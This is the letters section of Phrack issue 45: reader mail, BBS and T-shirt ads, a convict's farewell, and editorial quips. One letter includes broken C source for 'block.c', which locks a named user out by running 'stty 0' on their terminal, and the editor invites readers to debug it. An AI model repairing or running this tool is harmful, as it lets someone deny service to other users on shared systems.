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==Phrack Magazine== Volume Five, Issue Forty-Five, File 2 of 28 **************************************************************************** Phrack Loopback Part I Letter from Louis Cypher (Byron York) As many people know, I was convicted over the summer for a number of Federal crimes including counterfeiting, burglary of a post office, theft of US mail, and possession of stolen property. For a little background, I was arrested for these crimes in September of 1992. I stayed out on 50,000 dollar bond until the trial which started the day after Summercon 93'. The trial lasted for about a week and a half, and the jury found me guilty on 4 charges and acquitted me on 2. My sentencing was not until the 8th of November, and the results were not as I had hoped for being a first time offender and all. I received a 21 month sentence that will be carried out if I do not complete 6 months in a Federal boot camp in Pennsylvania. If I do complete the program at the boot camp I will then spend 6 months in a Federal halfway house in Houston. This will be followed by several months of home confinement, then 3 years parole. I am to attend college while on parole, but if I do not do well, then I have to do 300 hours of community service. I will start serving my sentence as early as December, or as late January. Won't know until I receive the letter in the mail from the Bureau of Prisons. I am still out on bond and am on voluntary surrender so I just deliver myself to wherever they send me. A lot better than rotting in county jail until they transfer me. I will hopefully be out still for HoHocon, and will be able to say good-bye to most people in person. But in case I am not, then I would like to use this forum to tell everyone good-bye. I know that I am not going away forever, but I don't know when I am going to be able to access a modem again and get back in touch with everybody. I have been running a public access Internet site in Houston for the past year or so, and luckily, thanks to Drunkfux, Absalom, and Lord Macduff, the system will most probably stay up in my absence. People will be able to mail me there, and I will be able to respond through the help of people over the phone. I would like to thank Erik Bloodaxe for letting me use Phrack to tell everybody farewell. I hope nothing's changed when I get back, and I will be back. I'll just have to keep my nose a little cleaner when I come back from my sabbatical. It's been great, and I'll see all of you hopefully in about a year or so. [Byron did get to go to HoHoCon, but shortly thereafter had to fly to Pennsylvania to enter Boot Camp. Byron's Address in prison is: J.C.C. Byron York 60177-079 P.O. Box 1000 Lewisburg, PA 17837-1000 Drop him a note. It really makes the day go by a little easier in a world of bloody shank wars with the Texas Syndicate. Jail sucks.] ------------------------------------------------------------------------------ [Ad for Jolly Roger T-Shirt] >[God bless the free enterprise system! > God bless capitalism! > God bless America!] Well, I'm an atheist and natural law objectivist, so I'll cheer right along with you on the capitalism part! Capitalism is the only MORALLY PROPER system because it's the only system (or lack thereof) that doesn't treat people as slaves! [editorial] >This is going to piss people off, but hell, that's the point of having >an editorial, eh? I, for one, fucking loved it. >Granted, Holland has a notoriously permissive and open society; and >indeed, Europe in general is far more laid back than the States, but >even many in the US hold these ideals close to heart. Europe also has a great police state tradition, not to mention the common and prevailing attitude that while sex and drugs and rock and roll are okay, making money (creating wealth) is a far more heinous crime. >...The major cons in America (HoHo, Scon) really don't charge. >They "ask" for donations. Sure, you might get a nasty look if >you don't cough up five or ten bucks, but hell, everyone does. They >WANT to. A good time is worth a handful of change. And there isn't >some awesome requirement just to get in the damn door. Besides, losses >can always be made up by selling a plethora of crap such as t-shirts and >videos, which everyone always wants to buy. (Hardware costs. :) ) VOLUNTARY donations! (The Supreme Court says "our system of taxation is based on VOLUNTARY COMPLIANCE"...) There's a vast and monstrous difference between voluntary and involuntary - it's that nasty "free will thing"! >Then there was Phrack. Always free to the community. Always available >for everyone's enjoyment. Asking only that Corporate types pay a >registration fee of a hundred dollars just to keep them honest. (They >aren't.) Knowing full well that they are stealing it, sometimes quite >brazenly. Resting quietly, knowing that they are just as unethical as >they ever claimed us to be. I also love your registration requirements. Being able to claim ownership of property, intellectual or otherwise, means you dictate the terms and conditions of its use. Corporate lawyers must have had coronaries upon first sight. Only difficulty is, your ISSN number and copyright data are prima facie evidence that you contracted away rights in exchange for privilege from the state, revocable whenever the state feels like it (copyright falls under admiralty jurisdiction, not common law). You've formed an "organization" - your registration form recognizes the fact that "corporations, organizations and other artificial persons" have a lesser STATUS before the law than NATURAL INDIVIDUALS - just be who you are! >Let me tell you something. Information does not want to be free, my >friends. Free neither from its restraints nor in terms of dollar value. >Information is a commodity like anything else. More valuable than the >rarest element, it BEGS to be hoarded and priced. Anyone who gives >something away for nothing is a moron. (I am indeed stupid.) I can't >fault anyone for charging as long as they don't try to rationalize their >reasoning behind a facade of excuses, all the while shouting "Information >Wants to be Free!" AMEN, from the highest fucking rooftops! You're not stupid, you're doing it by CHOICE. You're VOLUNTARILY doing it. Free people don't NEED laws that force decisions upon them - they do what needs to be done! >Trade secrets don't want to be free, marketing projections don't want to >be free, formulas don't want to be free, troop placements don't want to >be free, CAD designs do not want to be free, corporate financial >information doesn't want to be free, my credit report sure as hell >doesn't want to be free! YES! YES! I HAVE WAITED FOR YEARS FOR THIS MOMENT! [tale of the Little Red Hen] Amen again! This whole issue, in fact, had many great things, which I'll continue to reply to here... [ ... 10K of commentary removed ... ] Finally...remember how crazy people got in the years just before the turn of the first millennium (990-1000 A.D.)? It's gonna be even MORE interesting this time around! Here's to Phrack... may you last into the 21st century! (May we ALL be so lucky...) [Man, that was one of the coolest letters we've ever gotten (and definitely the longest. I have to tell you, it does my heart good to know that we are indeed appreciated by some of you. We will continue to do so until as long as humanly (or inhumanly, with my schedule) possible.] ------------------------------------------------------------------------------ A document I found in trash...... What's Next 1993 Revenue 1993 Operating in billions Cash Flow in billions AMERITECH $11.71 $4.72 Pursue in-region strategy. Push regulators for entry into long distance business. BELL ATLANTIC $12.99 $5.34 Proceed with interactive networks linking 1.2 million homes by year-end 1995. Seek local cable partners. BELLSOUTH $15.88 $6.64 Decide whether to invest $500 million of QVC, despite loss in Paramount fight. NYNEX $13.4 $5.06 Proceed with $1.2 billion investment in Viacom. Build new networks in Northeast, but only if it wins new regulatory freedom. PACTEL $10 $4.08 Pursue in-region strategy for new personal communication services. SOUTHWESTERN BELL $10.69 $4.08 Pursue cable relationship with Cox Enterprises Inc.; complete $552 million acquisition of upstate New York cellular franchises. USWEST $10.29 $4.45 Offer new phone services in New York cable systems; may pursue Cablevision Systems Corp. with partner Time Warner. Total $84.98 $34.53 Gee whiz now I really sympathize with the phone company about their petty loss on fraud. [Fuck. And you mean to tell me THEY can't afford a measly 100 bucks registration fee? Maybe them thought it was 100 Million bucks. But even then it's well within their grasp. Hmm...maybe the fee should go up.] ------------------------------------------------------------------------------ I would like to pay respects to a fellow user on my system who was killed in the recent helicopter crash near San Jose, CA. "Rotor" was a user-friendly d00d who would always talk your ear off about helicopter technician work. It is a great loss to our local community. Call the CybernaughtG@twAy. el33t x10^8 (408) 911-3974 Login <guest> --------------================--------------- [I want to say I'm very sorry about your friend. I know exactly how you must feel.] ------------------------------------------------------------------------------ For immediate rebroadcast:::::::::::::::::::::: ********************************************************************* The SenseReal Foundation The SenseReal Foundation is a non-profit, non-organization dedicated to the preservation and free distribution of information and the promotion of the Amiga computer. In this ever increasing police state we live in the Amiga computer is a beacon of hope. If you buy into Big Blue you are buying into Big Brother. The information revolution is happening now. More and more our liberty will depend on the acquisition, processing, dissemination, and control of knowledge. We are heading into an era when there's going to be enormous pressure to prevent further development of certain kinds of knowledge. This situation has created the need for the...... SenseReal Archives Send all kinds of information to the SenseReal archives for preservation and rebroadcast. Send newsletters, magazines, books, 'zines, tapes, CDs, or anything at all to the address below. Not only will your contribution be deeply appreciated, it will be preserved and made available to present and future generations. As more powerful, small, cheap technologies are available to the masses it may increase conflict between the current power structure and those now considered to be in the underground. Civilization as we know it is racing towards the brink, and hopefully we will survive through this current cycle, but we do not know what will face us then. Sending The SenseReal Foundation your material is a good way of expanding the knowledge of many people. When appropriate, information will be made available on the SenseReal BBS..... The Haunted Mansion BBS (404)516-4732 Fri-Sun 6pm-6am Call this number anytime. Primary hours are Fri-Sun 6PM-6AM but you never know when the board may be up. If it is not online when you call, call back in 3-5 minutes and perhaps it will be. It is primarily an Amiga board but also features message areas and a text file area that will be of interest to all. Send postcards, bizarre items, money, and anything else to: Call THE HAUNTED MANSION BBS THE SENSEREAL FOUNDATION (404)516-4732 Fri-Sun 6PM-6AM 6595-G ROSWELL RD. Suite #206 Or contact via the Internet: ATLANTA,GA 30328 Green_Ghost@neonate.atl.ga.us All information and anything sent will be kept secret forever upon request. -- Via DLG Pro v1.0 [Uh, gee, little did I realize that when I bought my Amiga 500, I was joining such a sacred brotherhood. I wonder what my employers would think.] ------------------------------------------------------------------------------ So, there I am in New York City last night. We're hanging out (figuratively speaking) at The Vault, where various fetishists get together to explore the limits of aberrant human sexuality. All in all, a rather interesting place. The $30 cover was a little steep, but I would still highly recommend it. Now for my point. I was standing around watching two dominatrix abuse some naked, prostrate wretch when one of them started walking around giving out business cards to anyone who admitted to having a computer and an Internet feed (these are dominatrix on the cutting edge of technology, I might add). The card reads thus: CYBEROTICA Online Ride the wave of erotic communication into the 21st century, as CYBEROTICA Online(tm) becomes your point-of-penetration into Cyberspace. Transport yourself into a universe of wild fantasy- and-fetish images, tales, and intimate, anonymous interaction with erotic-video stars, industry insiders, and thousands of open-minded people around the world. Experience CYBEROTICA Online for FREE as our VIP guest while we perfect the system, and in exchange for your valued input you'll receive added VIP privileges as we grow! Contact us today for your free Infopac and Startup Software, before this opportunity ends. 212.587.0197 fax 587.0513 80 n moore st., tribecca, ny 10013 email: steffani@echonyc.com I am sure this is just a teaser to get people on-line and then start charging them, but I found it pretty interesting. ---tabas NOTE: I have no knowledge of or affiliation with the above organization and the posting of this message does not constitute an endorsement of perversion. [Well, hell...now I know where to go next month when I'm back in NYC. I wish I would have know about this place last time...the only places I could find for even semi-serious sleeze was in Times Square, and I know that was way too tame and trendy to be IT. Now I know.] ------------------------------------------------------------------------------ The earthquake in Los Angeles, California, the flood in Europe, the seemingly unstoppable war in the former Yugoslavia, the devastating fires in Australia, the flood in the Midwest of the United States of America, the devastating fires near Los Angeles, California, the rapid and appalling increase in violence in cities, towns, villages all over the world, the famines, the diseases, the rapid decline of the family unit, and the destructive earthquake in India (in 1993) are signs that this world's history is coming to a climax. The human race has trampled on God's Constitution, as given in Exodus 20:1-17 (King James Version Bible), and Jesus is coming to set things right. These rapidly accelerating signs are an indication that Jesus is coming soon (Matthew 24). God's Holy Spirit is gradually withdrawing its protection from the earth and the devastating events you see are demonstrations of Satan's power. All those who are not guarded by God are in danger of forever losing eternal life. If you want to know what's about to happen, please study the books of Daniel and Revelation which are located in God's Word, the Bible. They are not sealed or closed books. They can and must be understood by all. Every word in the Bible from Genesis to Revelation is true. The Bible and the Bible only must be your guide. When God's Law (the Constitution for the Universe) is consistently ignored, disregarded, changed, and questioned, He permits certain events to occur to wake us up. I would urge all, wherever you are and regardless of the circumstances, to directly call on Jesus and ask Him to intervene in your life. Jesus who created this planet and every living creature in it and on it, died on the cross, was raised from the dead by God the Father, and is now in Heaven interceding for you. Jesus is the only One who can rescue us from the slavery, misery, and death Satan is causing us. For reference I'm including God's Constitution as given in the King James Version Bible. Please note that when God says the seventh day, he means Sabbath (the 7th day of the week) not Sunday (1st day of the week). Commandment #1: Exodus 20:1-3 (KJV) And God spake all these words, saying, I am the LORD thy God, which have brought thee out of the land of Egypt, out of the house of bondage. Thou shalt have no other gods before me. Commandment #2: Exodus 20:4-6 (KJV) Thou shalt not make unto thee any graven image, or any likeness of any thing that is in heaven above, or that is in the earth beneath, or that is in the water under the earth. And shewing mercy unto thousands of them that love me, and keep my commandments. Commandment #3: Exodus 20:7 (KJV) Thou shalt not take the name of the LORD thy God in vain; for the LORD will not hold him guiltless that taketh his name in vain. Commandment #4: Exodus 20:8-11 (KJV) Remember the sabbath day, to keep it holy. Six days shalt thou labour, and do all thy work: But the seventh day is the sabbath of the LORD thy God: in it thou shalt not do any work, thou, nor thy son, nor thy daughter, thy manservant, nor thy maidservant, nor thy cattle, nor thy stranger that is within thy gates: For in six days the LORD made heaven and earth, the sea, and all that in them is, and rested the seventh day: wherefore the LORD blessed the sabbath day, and hallowed it. Commandment #5: Exodus 20:12 (KJV) Honour thy father and thy mother: that thy days may be long upon the land which the LORD thy God giveth thee. Commandment #6: Exodus 20:13 (KJV) Thou shalt not kill. Commandment #7: Exodus 20:14 (KJV) Thou shalt not commit adultery. Commandment #8: Exodus 20:15 (KJV) Thou shalt not steal. Commandment #9: Exodus 20:16 (KJV) Thou shalt not bear false witness against thy neighbour. Commandment #10: Exodus 20:17 (KJV) Thou shalt not covet thy neighbour's house, thou shalt not covet thy neighbour's wife, nor his manservant, nor his maidservant, nor his ox, nor his ass, nor any thing that is thy neighbour's. I also recommend that the following books be obtained and closely studied: The Great Controversy By Ellen G. White Review and Herald Publishing Association Hagerstown, MD 21740 The Desire of the Ages By Ellen G. White Review and Herald Publishing Association Hagerstown, MD 21740 Patriarchs and Prophets By Ellen G. White Review and Hearld Publishing Association Hagerstown, MD 21740 Daniel and the Revelation By Uriah Smith Review and Herald Publishing Association Hagerstown, MD 21740 [Praise the Lord & Pass the Ammunition!] ------------------------------------------------------------------------------ Big Brother Inside Logo A parody of the Intel's Logo modified for the Clipper Chip is now available for use for stickers, posters, brochures etc. The Big Brother Inside graphic files are now available at the CPSR Internet Archive - ftp/gopher cpsr.org /cpsr/privacy/crypto/clipper big_brother_inside_sticker.ps (postscript-scale to fit your project) big_brother_inside_logo.gif (Color GIF - good startup/background screen) big_brother_inside_picts_info.txt (Info on the files) The files have also been uploaded to America Online in the Mac Telecom and Graphic Arts folders. big_brother_inside_sticker.ps is a generic postscript file, created in CorelDraw. The postscript image lies landscape on the page, and consists of the intel-logo's ``swoosh'' and crayon-like lettering on the inside. This design was originally created for the sticker project: the image was screened onto transparent stickers 1" square for the purpose of applying them to future clipper-chip products. (cdodhner@indirect.com was in charge of that project; as far as I know he's still distributing them for a small donation to cover printing & mailing costs). The design was created by Matt Thomlinson <phantom@u.washington.edu> [The stickers I have made a HUGE hit among the various "select targets" at COMDEX. Get yours and join in on the fun. There are a world of mass merchant distributors waiting to be "tagged." Sounds like the SenseReal foundation would love a handful of these for those pesky Intel boxes.] ------------------------------------------------------------------------------ HI, 1st I want to thank you for dedicating your space to the silliness and foolishness that comes with anything Sara Gordon related. I think I should have gotten the last word but, who wants to turn this into a public feud, specially with a demented middle aged woman. Well, Thanks anyway for including the article, I have found people in the underground who believe what I am saying, as I have no monetary interest in this unlike Mrs. Gordon. Kohntark. [Well Kohntark, looks like you DID get the last word. No, wait, I did.] ------------------------------------------------------------------------------ Hello Chris, I have a constant battle with some of my friends over who can ruin another person's display first. Well, if I could log them out... However, I'm afraid the program doesn't compile. Thanks for any light you might be able to shed on the matter. Bye! I get these 3 errors: "block.c", line 22.17: 1506-030 (S) Identifier open cannot be redeclared. "block.c", line 41.18: 1506-045 (S) Undeclared identifier user. "block.c", line 48.16: 1506-045 (S) Undeclared identifier W_OK. /* block.c -- prevent a user from logging in * by Shooting Shark * usage : block username [&] * I suggest you run this in background. */ #include <stdio.h> #include <utmp.h> #include <ctype.h> #include <termio.h> #include <fcntl.h> #define W_OK2 #define SLEEP5 #define UTMP"/etc/utmp" #define TTY_PRE "/dev/" main(ac,av) int ac; char *av[]; { int target, fp, open(); struct utmpuser; struct termio*opts; char buf[30], buf2[50]; if (ac != 2) { printf("usage : %s username\n",av[0]); exit(-1); } for (;;) { if ((fp = open(UTMP,0)) == -1) { printf("fatal error! cannot open %s.\n",UTMP); exit(-1); } while (read(fp, &user, sizeof user) > 0) { if (isprint(user.ut_name[0])) { if (!(strcmp(user.ut_name,av[1]))) { printf("%s is logging in...",user.ut_name); sprintf(buf,"%s%s",TTY_PRE,user.ut_line); printf("%s\n",buf); if (access(buf,W_OK) == -1) { printf("failed - program aborting.\n"); exit(-1); } else { if ((target = open(buf,O_WRONLY)) != EOF) { sprintf(buf2,"stty 0 > %s",buf); system(buf2); printf("killed.\n"); sleep(10); } } /* else */ } /* if strcmp */ } /* if isprint */ } /* while */ close(fp); /*sleep(SLEEP); */ } /* for */ } [Anyone want to take a crack at this?? Debug it and mail it back to us so we can forward it on...] ------------------------------------------------------------------------------ xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx IT'S BACK!!!!W$#@$#@$ _-_-_-_-_-_-_-_-_ ( ) ( B00m ) ( ) CAU (__ __) CAU __\/___ "We WiLL BloW /---/|_____|\----\ uP YoUr CaR!" /CaU-__WuZ__-HeRe\- (0) (0) fARM R0Ad 666 *fR666.something.com* (713)855-0261 *fR666.something.com* CAU-0b/GYN SySoPs: EighT BaLL kCf-ThP-Phrack M.C. Allah Bc0maP-d0S/2-Tone Drunkfux ' CAU Home ' Bc0maP Couriers Site ' cDc Factory Direct Outlet(kCf) ' 0b/GYN Member Site ' USENET, InterNet E-Mail(s00n) ' Hack/Phreak Discussions ' Flashback Software ' ToneLoc Distribution Site ' 12oo-14.4 bps ' Exophasia Submission Site ' 0PhiCiAl PHraCk DiSt Site ' No Ratios for non dorks xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx [This is 8-Ball's bbs. Call it and watch him shoot up. Word.] ------------------------------------------------------------------------------ Hackers, phone phreaks, techno-anarchists, cyberpunks, etc. * * * THE OFFICIAL U.K. '2600 Magazine' MONTHLY MEETINGS. * * * Meetings are held on the first Friday of each month. All those interested in attending will be required to meet at the Trocadero shopping centre, which is a one minute walk from the Picadilly Circus underground station, London. The meeting point is actually inside the shopping centre, next to the Virtual Reality machines located on the bottom floor. Anyone interested in taking part should assemble next to these machines between 7.00pm and 8.00pm. Those who attend will then travel by tube train to a 'unknown' location for computer underground discussion, information exchange, etc. For more information, phone 'Damian' on 071-262-3042, or send email to 'uabbs@works.com' Check page '46' of your latest '2600 Magazine' for details of other meeting locations, etc. 2600 Magazine PO Box 752 Middle Island NY 11953 U.S.A. Tel: +1-516-751-2600 (24 hour answering system) Fax: +1-516-751-2608 -------------------------------------------------------------------------- This bulletin was created by 'Phantasm' on Tuesday 08-Feb-94 at 11:51pm. [You brits: GO TO THESE MEETINGS! And go trashing afterwards! And raise some hell. Throw caution to the wind. Be loud and obnoxious. Get thrown out. (Just pretend you are Americans. It works every time.) ] ------------------------------------------------------------------------------ Hello, I run a board here in the UK known as Unauthorised Access. We have been online since 1990 (the year of our anti-hacking law's approval) and the system is now the largest computer underground board in the U.K. (2,000+ quality files and growing each day) I also attended the HEU congress in Holland but although I spoke with Eric Corley (2600) and BillSF (Hack-Tic), I did not know where to find you. I expect you dissappeared off to Amsterdam like so many of the other visitors to Holland. Anyway, I noticed in your last issue (44) that you seem to have quite a few readers in the United Kingdom. I would like to tell you about my system here in the UK. (Please include this advert in your next issue of PHRACK) Thanks! Unauthorised Access Online 10.00pm-7.00am GMT Established 1990 Britain's largest computer underground system 30+ message special interest groups 2,000+ underground file online c64/Amiga/IBM/ h/p util support Running at 3oo/12oo/24oo/96oo HST tel: +[44] 636-708063 SysOp: Phantasm ---------------------------------------- [I always dig Overseas BBSes. Unfortunately I couldn't get a strong line when I've tried to call. Geez, you would think that in this age of fiber, I may be able to connect...but noooooo. :) ] ------------------------------------------------------------------------------ New TimeWasters T-shirts ! Do you know the feeling ? You're behind your terminal for hours, browsing the directories of your school's UNIX system. Instead of holes, bugs and bad file permissions you find tripwire, TCPwrapper and s/key. You run a file with a s-bit and immediately you get a mail from the system admin asking what you are doing. In other words, no chance to ever become a good hacker there. Now you have the chance to at least pretend to be an eleet hacker. The Dutch hacking fanatics The TimeWasters have released the third version of their cool 'hacker' T-shirt. Because the previous versions were too limited (20 and 25 shirts) we printed no less than 200 shirts this time. Of course you want to know, what does it look like ? On the front, a TimeWasters logo in color. Below that a picture of two hacking dudes, hanging behind their equipment, also featuring a stack of phracks, pizza boxes, beer, kodez, and various computer-related stuff with a 'No WsWietse' sticker. On the back, the original TimeWasters logo with the broken clock. Below it, four original and dead funny real quotes featuring the art of Time Wasting. Wearing this shirt can only provoke one reaction; WOW ! Imagine going up to the helpdesk wearing this shirt and keeping a straight face while asking a security question ! And for just $2 more you'll get a pair of sunglasses with the text 'TimeWasters' on them ! To order: Send $20 or $22 to TimeWasters Postbus 402 5611 AK Eindhoven The Netherlands, Europe This includes shipping. Please allow some time for delivery. If you are in Holland, don't send US$, email the address below for the price in guilders and our 'postbank' number. For more information: email to: - timewasters-request@win.tue.nl with subject: T-SHIRT for a txtfile with more info. - rob@hacktic.nl or gigawalt@win.tue.nl for questions. [I've got one Time Wasters shirt...Now I'm gonna have to get another. Wonder if they'll trade...I know this guy who makes some damn cool shirts... but the glasses are the clincher. I'm ordering now.] ------------------------------------------------------------------------------